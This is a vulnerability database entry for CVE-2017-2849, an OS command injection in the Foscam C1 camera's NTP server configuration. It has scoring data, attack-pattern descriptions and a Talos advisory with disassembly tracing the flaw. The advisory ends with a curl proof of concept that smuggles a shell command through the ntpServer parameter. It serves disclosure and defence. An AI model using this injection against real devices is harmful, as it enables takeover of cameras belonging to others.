Vulnerabilities > CVE-2017-2849 - OS Command Injection vulnerability in Foscam C1 Indoor HD Camera Firmware 2.52.2.37

047910
CVSS 6.5 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
SINGLE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
foscam
CWE-78

Summary

In the web management interface in Foscam C1 Indoor HD cameras with application firmware 2.52.2.37, a specially crafted HTTP request can allow for a user to inject arbitrary shell characters during NTP server configuration resulting in command injection. An attacker can simply send an HTTP request to the device to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
OS
Foscam
1
Hardware
Foscam
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Seebug

bulletinFamilyexploit
description### Summary An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary shell characters during NTP server configuration resulting in command injection. An attacker can simply send an HTTP request to the device to trigger this vulnerability. ### Tested Versions ``` Foscam, Inc. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.17 Application Firmware Version: 2.52.2.37 Web Version: 2.0.1.1 Plug-In Version: 3.3.0.5 ``` ### Product URLs Foscam ### CVSSv3 Score 8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H ### CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') ### Details Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the ARM architecture. Foscam is considered one of the most common security cameras out on the current market. When various services are started, a service will first register a callback using the `CMsgClient::registerMsgHandle` function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the `FCGI_Init` function of the "CGIProxy.fcgi" service using the following code: ``` .text:00009F20 FCGX_Init_1f20 .text:00009F20 .text:00009F20 F0 41 2D E9 STMFD SP!, {R4-R8,LR} .text:00009F24 41 DE 4D E2 SUB SP, SP, #0x410 .text:00009F28 08 D0 4D E2 SUB SP, SP, #8 .text:00009F2C 05 FC FF EB BL FCGX_Init .text:00009F2C .text:00009F30 00 10 50 E2 SUBS R1, R0, #0 .text:00009F34 44 01 9F 15 LDRNE R0, =str.FCGX_Initfailed .text:00009F38 05 00 00 1A BNE leave_exit_1f54 .text:00009F3C .text:00009F3C 40 01 9F E5 LDR R0, =gv_theRequest_10b74 .text:00009F40 01 20 A0 E1 MOV R2, R1 .text:00009F44 1A FC FF EB BL FCGX_InitRequest .text:00009F48 .text:00009F48 00 00 50 E3 CMP R0, #0 .text:00009F4C 03 00 00 0A BEQ loc_9F60 ... .text:00009F60 loc_9F60 .text:00009F60 DB FE FF EB BL registerMsgClients_1ad4 .text:00009AD4 registerMsgClients_1ad4 .text:00009AD4 10 40 2D E9 STMFD SP!, {R4,LR} .text:00009AD4 .text:00009AD8 30 40 9F E5 LDR R4, =gp_cMsgClient_bac8 .text:00009ADC 30 10 9F E5 LDR R1, =0x40004001 ; [3] code .text:00009AE0 04 00 A0 E1 MOV R0, R4 .text:00009AE4 2C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 ; [2] callback function .text:00009AE8 3D FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ; [1] .text:00009AE8 .text:00009AEC 04 00 A0 E1 MOV R0, R4 .text:00009AF0 24 10 9F E5 LDR R1, =0x3001 .text:00009AF4 1C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 .text:00009AF8 39 FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) .text:00009AF8 .text:00009AFC 04 00 A0 E1 MOV R0, R4 .text:00009B00 18 10 9F E5 LDR R1, =0x3002 .text:00009B04 0C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 .text:00009B08 10 40 BD E8 LDMFD SP!, {R4,LR} .text:00009B0C 34 FD FF EA B CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ``` After the "CGIProxy.fcgi" service decodes an http request that's forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query to `CMsgClient::sendMsg`. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request. ``` .text:00009FA8 14 70 8D E2 ADD R7, SP, #0x430+lv_dest_41c .text:00009FAC 08 10 A0 E1 MOV R1, R8 .text:00009FB0 07 00 A0 E1 MOV R0, R7 .text:00009FB4 34 FC FF EB BL strcpy ; [4] .text:00009FB8 .text:00009FB8 08 00 A0 E1 MOV R0, R8 .text:00009FBC C0 FB FF EB BL strlen .text:00009FC0 .text:00009FC0 CC 30 9F E5 LDR R3, =0x404 .text:00009FC4 00 30 8D E5 STR R3, [SP] .text:00009FC8 C8 10 9F E5 LDR R1, =0x4001 ; [5] .text:00009FCC 07 30 A0 E1 MOV R3, R7 ; uri request .text:00009FD0 01 20 A0 E3 MOV R2, #1 .text:00009FD4 04 40 8D E5 STR R4, [SP,#4] .text:00009FD8 08 40 8D E5 STR R4, [SP,#8] .text:00009FDC 0C 40 8D E5 STR R4, [SP,#12] .text:00009FE0 14 04 8D E5 STR R0, [SP,#0x430+var_1C] .text:00009FE4 B0 00 9F E5 LDR R0, =gp_cMsgClient_bac8 .text:00009FE8 CD FB FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *) ``` The handler for code 0x4001 is in the "webService" binary and is done by the function `executeCGICmd` at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that's responsible for extracting the user name, password, and command that was specified within the user's query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will be passed to the function call at [7] in order to determine the correct command function which is stored to funcptr. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by `findJsonCallbackCommand` at [7]. If authentication is required from the command, then the user name and password will be checked via `strcmp` and then the function call at [9] will execute the function pointer. ``` .text:0001E5A4 executeCGICmd .text:0001E5A4 .text:0001E5A4 F0 41 2D E9 STMFD SP!, {R4-R8,LR} .text:0001E5A8 28 60 80 E2 ADD R6, R0, #0x28 .text:0001E5AC 11 DD 4D E2 SUB SP, SP, #0x440 .text:0001E5B0 00 80 A0 E1 MOV R8, R0 .text:0001E5B4 06 10 A0 E1 MOV R1, R6 .text:0001E5B8 C4 00 9F E5 LDR R0, =unk_D5A68 .text:0001E5BC 3A 2A 00 EB BL sub_28EAC ; [6] .text:00028EAC sub_28EAC .text:00028EAC .text:00028EAC F0 47 2D E9 STMFD SP!, {R4-R10,LR} .text:00028EB0 00 40 51 E2 SUBS R4, R1, #0 .text:00028EB4 00 80 A0 E1 MOV R8, R0 .text:00028EB8 46 DF 4D E2 SUB SP, SP, #0x118 .text:00028EBC 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF .text:00028EC0 8B 00 00 0A BEQ leaving_290F4 ... .text:00028F4C 00 00 50 E3 CMP R0, #0 .text:00028F50 0C 00 00 1A BNE findCmdCallback_28F88 ... .text:00028F88 findCmdCallback_28F88 .text:00028F88 05 00 A0 E1 MOV R0, R5 .text:00028F8C 45 1F 8D E2 ADD R1, SP, #0x138+lp_funcptr?_24 .text:00028F90 89 FC FF EB BL findJsonCallbackCommand_281BC ; [7] .text:00028F94 00 90 50 E2 SUBS R9, R0, #0 .text:00028F98 06 00 00 0A BEQ checkIfAuthNeeded_28FB8 ... .text:00028FB8 checkIfAuthNeeded_28FB8 .text:00028FB8 14 31 9D E5 LDR R3, [SP,#0x138+lp_funcptr?_24] .text:00028FBC 54 21 9F E5 LDR R2, =0xFFFF .text:00028FC0 08 10 93 E5 LDR R1, [R3,#8] .text:00028FC4 02 00 51 E1 CMP R1, R2 .text:00028FC8 06 00 00 1A BNE authenticate_28FE8 ... .text:00028FD8 04 00 A0 E1 MOV R0, R4 .text:00028FDC 33 FF 2F E1 BLX R3 ; [8] .text:00028FE0 09 00 A0 E1 MOV R0, R9 .text:00028FE4 42 00 00 EA B leaving_290F4 ... .text:000290E0 04 00 A0 E1 MOV R0, R4 .text:000290E4 33 FF 2F E1 BLX R3 ; [9] .text:000290E8 05 00 A0 E1 MOV R0, R5 .text:000290EC 00 00 00 EA B leaving_290F4 ... .text:000290F4 46 DF 8D E2 ADD SP, SP, #0x118 .text:000290F8 F0 87 BD E8 LDMFD SP!, {R4-R10,PC} ``` When handling the "CGIProxy.fcgi" command "setSystemTime", the function `setSystemTime_28304` will be called. This function is responsible for configuring an NTP server, timezone and time of the system. The function accepts many arguments, but the only two we are interested in are "timeSource" [10] and "ntpServer" [11]. These parameters are stored unaltered on the stack, while the remaining parameters (hours, minutes, seconds, etc.) and converted using `atoi` before being stored on the stack. The function will then pass the parameters by sending a pointer to the stack [12] via `CMsgClient::sendMsg`, using code 0x6034 [13]. ``` .text:00030304 setSystemTime_28304 .text:00030304 .text:00030304 F0 4F 2D E9 STMFD SP!, {R4-R11,LR} .text:00030308 05 DC 4D E2 SUB SP, SP, #0x500 .text:0003030C 0C D0 4D E2 SUB SP, SP, #0xC ... .text:0003031C 00 40 A0 E1 MOV R4, R0 ; query string ... .text:00030324 05 AC 8D E2 ADD R10, SP, #0x530+var_30 ... .text:00030330 0A 20 A0 E1 MOV R2, R10 .text:00030334 1C 13 9F E5 LDR R1, =str.timeSource ; [10] .text:00030338 04 00 A0 E1 MOV R0, R4 .text:0003033C C1 DF FF EB BL extract_param .text:00030340 4F 8E 8D E2 ADD R8, SP, #0x530+var_40 .text:00030344 43 2E 8D E2 ADD R2, SP, #0x530+var_100 .text:00030348 08 80 88 E2 ADD R8, R8, #8 .text:0003034C 08 13 9F E5 LDR R1, =str.ntpServer ; [11] .text:00030350 0C 20 82 E2 ADD R2, R2, #0xC .text:00030354 04 00 A0 E1 MOV R0, R4 .text:00030358 BA DF FF EB BL extract_param ... .text:00030444 0A 00 A0 E1 MOV R0, R10 ; [10] .text:00030448 B4 8B FF EB BL atoi ... .text:000305D0 70 30 A0 E3 MOV R3, #0x70 .text:000305D4 00 50 A0 E3 MOV R5, #0 .text:000305D8 00 30 8D E5 STR R3, [SP,#0x530+var_530] .text:000305DC 43 3E 8D E2 ADD R3, SP, #0x530+var_100 ; [12] .text:000305E0 BC 10 9F E5 LDR R1, =0x6034 ; [13] .text:000305E4 05 20 A0 E1 MOV R2, R5 .text:000305E8 08 30 83 E2 ADD R3, R3, #8 .text:000305EC B4 00 9F E5 LDR R0, =dword_9FC90 .text:000305F0 04 50 8D E5 STR R5, [SP,#0x530+var_52C] .text:000305F4 08 50 8D E5 STR R5, [SP,#0x530+var_528] .text:000305F8 0C 50 8D E5 STR R5, [SP,#0x530+var_524] .text:000305FC 16 89 FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *) ``` Code 0x6034 is handled in the binary "devMng" by the function `OnDevMngMsgSetSystemTime_11418`. This function first uses `sendMsg` to send a message with code 0x1009 [13], which will call `OnWatchdogMsgClearHardAndSoftWatchdog_d4fc` in the watchdog binary. This is used for resetting the `watchdog` before changing the system time. Time parameters, previously converted to numbers using `atoi`, are passed to `sub_54714` [14], which uses `settimeofday` and a call to "rtctool" via `system` to set the system time. Finally `sub_542A4 `is called by passing `dword_8DD7`4 [15] as first parameter: this is the pointer to a global structure shared between threads. Second and third parameters are respectively "timeSource" [16] and "ntpServer" [17]. ``` .text:00019418 OnDevMngMsgSetSystemTime_11418 .text:00019418 .text:00019418 F0 41 2D E9 STMFD SP!, {R4-R8,LR} ... .text:00019434 00 70 A0 E1 MOV R7, R0 ; IPC global structure pointer ... .text:00019460 E0 10 9F E5 LDR R1, =0x1009 ; [13] ... .text:00019474 DA E4 FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *) ... .text:00019488 BC 60 9F E5 LDR R6, =dword_8DD74 ; [15] .text:0001948C 6C 30 94 E5 LDR R3, [R4,#0x6C] .text:00019490 08 30 8D E5 STR R3, [SP,#0x38+var_30] .text:00019494 4C 30 94 E5 LDR R3, [R4,#0x4C] .text:00019498 0C 30 8D E5 STR R3, [SP,#0x38+var_2C] .text:0001949C 10 50 8D E5 STR R5, [SP,#0x38+var_28] .text:000194A0 14 50 8D E5 STR R5, [SP,#0x38+var_24] .text:000194A4 06 00 A0 E1 MOV R0, R6 .text:000194A8 58 10 84 E2 ADD R1, R4, #0x58 .text:000194AC 0E 00 91 E8 LDMIA R1, {R1-R3} .text:000194B0 97 EC 00 EB BL sub_54714 ; [14] .text:000194B4 48 30 94 E5 LDR R3, [R4,#0x48] .text:000194B8 00 30 8D E5 STR R3, [SP,#0x38+var_38] .text:000194BC 4C 30 94 E5 LDR R3, [R4,#0x4C] .text:000194C0 04 30 8D E5 STR R3, [SP,#0x38+var_34] .text:000194C4 50 30 94 E5 LDR R3, [R4,#0x50] .text:000194C8 08 30 8D E5 STR R3, [SP,#0x38+var_30] .text:000194CC 54 30 94 E5 LDR R3, [R4,#0x54] .text:000194D0 2C 20 87 E2 ADD R2, R7, #0x2C ; [17] .text:000194D4 0C 30 8D E5 STR R3, [SP,#0x38+var_2C] .text:000194D8 28 10 97 E5 LDR R1, [R7,#0x28] ; [16] .text:000194DC 44 30 94 E5 LDR R3, [R4,#0x44] .text:000194E0 06 00 A0 E1 MOV R0, R6 ; [15] .text:000194E4 6E EB 00 EB BL sub_542A4 ``` At the beginning of `sub_542A4`, the value of "timeSource" is stored in `dword_8DD74`+4 [18] and the value of "ntpServer" is stored in `dword_8DD74`+8 [19]. The execution then continues by calling `sub_537C4`, which saves the parameters in a configuration file with name "/mnt/mtd/app/config/SystemTimeConfig.xml". ``` .text:000542A4 sub_542A4 .text:000542A4 .text:000542A4 F7 40 2D E9 STMFD SP!, {R0-R2,R4-R7,LR} .text:000542A8 00 40 A0 E1 MOV R4, R0 ; dword_8DD74 .text:000542AC 28 60 9D E5 LDR R6, [SP,#0x20+arg_8] .text:000542B0 01 50 A0 E1 MOV R5, R1 .text:000542B4 04 10 84 E5 STR R1, [R4,#4] ; [18] .text:000542B8 08 00 80 E2 ADD R0, R0, #8 .text:000542BC 02 10 A0 E1 MOV R1, R2 .text:000542C0 03 70 A0 E1 MOV R7, R3 .text:000542C4 15 FA FE EB BL std::string::operator=(char const*) ; [19] ... .text:00054308 2D FD FF EB BL sub_537C4 ``` The application creates 13 threads in total at startup. One of them runs the function `sub_55CF0` which is continuously looping and calling `setSystemTimeNTP` [20], until a termination is requested using a global flag in the structure `dword_8DD74` [21]. This structure is defined earlier on thread creation and it's pointed by `r4`. ``` .text:00055CF0 sub_55CF0 ... .text:00055DCC 33 00 00 EA B loc_55EA0 ... .text:00055DD0 loc_55DD0 ... .text:00055E00 04 00 A0 E1 MOV R0, R4 .text:00055E04 FA FD FF EB BL setSystemTimeNTP ; [20] ... .text:00055EA0 loc_55EA0 .text:00055EA0 90 60 D4 E5 LDRB R6, [R4,#0x90] ; [21] .text:00055EA4 00 00 56 E3 CMP R6, #0 .text:00055EA8 C8 FF FF 1A BNE loc_55DD0 ; loop ``` Function `setSystemTimeNTP` is in charge of actually setting up the NTP server address and only receives the pointer to the structure `dword_8DD74` as parameter [22]. At the beginning `timeSource` [23] is checked, and if it's 0, `ntpServer` [24] is checked whether it's null or not. If not, `ntpServer` is compared against the string "Auto" [25]. If the string doesn't match it means that a custom NTP server was supplied and the `ntpServer` value is then used in a `sprintf` call [26] to build the command that will be executed via `popen` [27]. Until this point the user-supplied `ntpServer` parameter has never been sanitized. ``` .text:000555F4 setSystemTimeNTP .text:000555F4 .text:000555F4 F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR} .text:000555F8 6B DF 4D E2 SUB SP, SP, #0x1AC .text:000555FC 00 40 A0 E1 MOV R4, R0 ; [22] ... .text:00055620 04 30 94 E5 LDR R3, [R4,#4] ; [23] .text:00055624 00 00 53 E3 CMP R3, #0 .text:00055628 34 01 00 1A BNE loc_55B00 .text:0005562C 08 30 94 E5 LDR R3, [R4,#8] ; [24] .text:00055630 00 30 D3 E5 LDRB R3, [R3] .text:00055634 00 00 53 E3 CMP R3, #0 ... .text:00055980 loc_55980 .text:00055980 08 50 84 E2 ADD R5, R4, #8 .text:00055984 05 00 A0 E1 MOV R0, R5 .text:00055988 18 13 9F E5 LDR R1, =str.Auto ; [25] .text:0005598C D9 F3 FE EB BL std::string::compare(char const*) .text:00055990 00 00 50 E3 CMP R0, #0 .text:00055994 1E 00 00 1A BNE loc_55A14 ... .text:00055A14 loc_55A14 .text:00055A14 9C 60 8D E2 ADD R6, SP, #0x1C8+s .text:00055A18 06 00 A0 E1 MOV R0, R6 .text:00055A1C 90 12 9F E5 LDR R1, =str.ntpclienthsc3s ; "ntpclient -h %s -c 3 -s" .text:00055A20 00 20 95 E5 LDR R2, [R5] .text:00055A24 C4 F4 FE EB BL sprintf ; [26] .text:00055A28 06 00 A0 E1 MOV R0, R6 .text:00055A2C 84 12 9F E5 LDR R1, =str.r ; mode .text:00055A30 66 F5 FE EB BL popen ; [27] ``` ### Exploit Proof-of-Concept This vulnerability is reachable by the "setSystemTime" command and requires a valid user account with administrator privileges. The following proof of concept shows how to execute an arbitrary command. ``` $ sUsr="admin" $ sPwd="" $ sCmd=`perl -MURI::Escape -e 'print uri_escape(";id>/tmp/www/inj;")'` $ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=setSystemTime&timeSource=0&ntpServer=${sCmd}" ``` ### Timeline * 2017-05-30 - Vendor Disclosure * 2017-06-19 - Public Release ### CREDIT * Discovered by Claudio Bozzato of Cisco Talos.
idSSV:96504
last seen2017-11-19
modified2017-09-15
published2017-09-15
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-96504
titleFoscam IP Video Camera CGIProxy.fcgi NTP Server Configuration Command Injection Vulnerability(CVE-2017-2849)

Talos

idTALOS-2017-0351
last seen2019-05-29
published2017-06-19
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0351
titleFoscam IP Video Camera CGIProxy.fcgi NTP Server Configuration Command Injection Vulnerability